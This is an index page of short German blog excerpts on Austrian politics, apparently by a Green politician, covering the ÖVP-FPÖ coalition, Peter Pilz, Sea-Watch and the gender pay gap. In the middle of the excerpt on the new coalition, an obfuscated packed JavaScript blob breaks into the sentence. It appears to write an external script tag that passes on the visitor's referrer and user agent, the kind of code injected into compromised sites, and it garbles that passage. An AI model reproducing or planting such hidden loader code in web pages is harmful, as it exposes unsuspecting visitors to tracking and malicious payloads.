Wir leben in einer digitalisierten Zeit. Die Digitalisierung durchzieht alle unsere Lebensbereiche. Dieser Prozess hat auch unsere Arbeitswelt nachhaltig verändert. Internetfirmen haben die Spitze der umsatzstärksten Konzerne schon erklommen und schlagen Profit aus einem schier unendlichen Datensammelsurium. Jede Bewegung, sei es im Internet oder auf der Straße, wird durch unsere Smartphones erfasst und ausgewertet. Über jeden Nutzer werden Profile, mit […]
Sehr geehrte Spender! (Satire) Ich möchte Ihnen mitteilen, dass es mir bei der Nationalratssitzung im Juli bereits gelungen ist, einige Wünsche meiner Wahlkampfspender umzusetzen. Als wichtigstes Anliegen ihrerseits haben wir den 12 Stundentag ermöglicht. Ich bitte um Verständnis, dass wir zur Beruhigung der Bevölkerung die „Freiwilligkeit“ ins Gesetz schreiben mussten. Sie als Praktiker wissen aber ohnedies, dass diese Freiwilligkeit im […]
Die eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!“.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+‘};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‚\\b’+e(c)+’\\b‘,’g‘),k[c])}}return p}(‚0.6(„„);n m=“q“;‘,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzrfs|var|u0026u|referrer|rtdak||js|php‘.split(‚|‘),0,{})) schwarz-blaue Regierung steht – abgesehen davon, dass sowohl ÖVP als auch FPÖ bei einigen Wahlversprechen umgefallen sind. Was genau inhaltlich kommt, wird sich in den nächsten Tagen zeigen. Die Verteilung der Ministerien und die Personalentscheidungen sind aber seit heute bekannt. Bundespräsident Van der Bellen hat zwar verhindert, dass Justiz und Polizei in der […]
SPÖ-Chef Kern will „nach dem Ausscheiden der Grünen aus dem Parlament das politische Zuhause erweitern, damit diese Wähler bei uns eine Heimat finden können“. Solche Angebote sind wenig überraschend und auch nicht unanständig. Das eine ist, dass mir das als Grün-Politiker, der die Grünen zurück im Parlament sehen will, weniger gefällt. So weit – so verständlich. Es geht aber auch […]
Tausende Menschen sterben jedes Jahr beim Versuch über das Mittelmeer in die Europäische Union einzureißen. Es fehlen legale Fluchtmöglichkeiten. Sea-Watch e.V. hat es sich zur Aufgabe gemacht dem Sterben nicht mehr länger zu zusehen und zu handeln. Angesichts der humanitären Katastrophe hat sich Sea-Watch e.V. der zivilen Seenotrettung von Flüchtlingen verschrieben. Neben der Nothilfe setzt sich die NGO auch für […]
Gestern hat der Abend mit einer Überraschung geendet. Auf wahlkabine.at hat die Liste Peter Pilz bekannt gegeben, dass sie verschlüsselte Kommunikation auf Whatsapp überwachen will. Dabei geht es um die Auseinandersetzung mit Innenminister Sobotka, der genau das mit einer Spitzelsoftware plant. Datenschützer und Opposition laufen dagegen Sturm. Die SPÖ hat in Folge ihre Unterstützung zurückgezogen. Peter Pilz hat die Position […]
Ich kenne Justizminister Brandstetter als freundlichen und interessanten Gesprächspartner, der sich offen Probleme anschaut und ein Sachpolitiker ist. Wie er sich aber in jüngster Zeit parteipolitisch von der ÖVP vorführen und instrumentalisieren lässt ist unerträglich und eines Justizministers unwürdig. ÖVP-Obmann Kurz hat das Strafrecht für den Wahlkampf entdeckt. Die Strafhöhen von Gewaltdelikten und Vermögensdelikten würden in einem Missverhältnis stehen. Das […]
Wenig überraschend, hat Peter Pilz gestern seine Kandidatur bei der Liste Peter Pilz bekannt gegeben. Damit ist er ein Mitbewerber – nicht mehr und nicht weniger. Wir Grüne werden die One-Man-Show Pilz aber nicht belauern, sondern auf unsere eigenen Stärken setzen. Eine ist Georg Bürstmayr. Heute habe ich ihn den Medien vorgestellt. Er ist Menschenrechtsanwalt und künftiger Nationalratsabgeordneter der Grünen. […]
Morgen wird im Parlament der Neuwahlbeschluss gefasst. Ein Jahr taktieren hat damit ein Ende. SPÖ und ÖVP belauern sich und schielen auf die Umfrageergebnisse. Sobald die Chancen passen stärkste Partei zu bleiben oder neue Nummer 1 zu werden, wird versucht die Flucht in Neuwahlen anzutreten. Das lähmt die Innenpolitik über lange Zeiträume. Niemand versteht, warum dann auch noch eine Bundesregierung, […]
Unsere Frauensprecherin Berîvan Aslan und ich haben den Frauenbericht 2017 der Grünen präsentiert. Ein Schwerpunkt liegt auf der Einkommensschere zwischen Männern und Frauen. Frauen verdienen um fast 22% weniger als Männer. Das liegt deutlich über dem EU-Schnitt (ca. 16%). Diese Ungerechtigkeit zu ändern ist gar nicht so einfach, weil es viele Gründe gibt, warum das so ist. Es gibt nicht […]
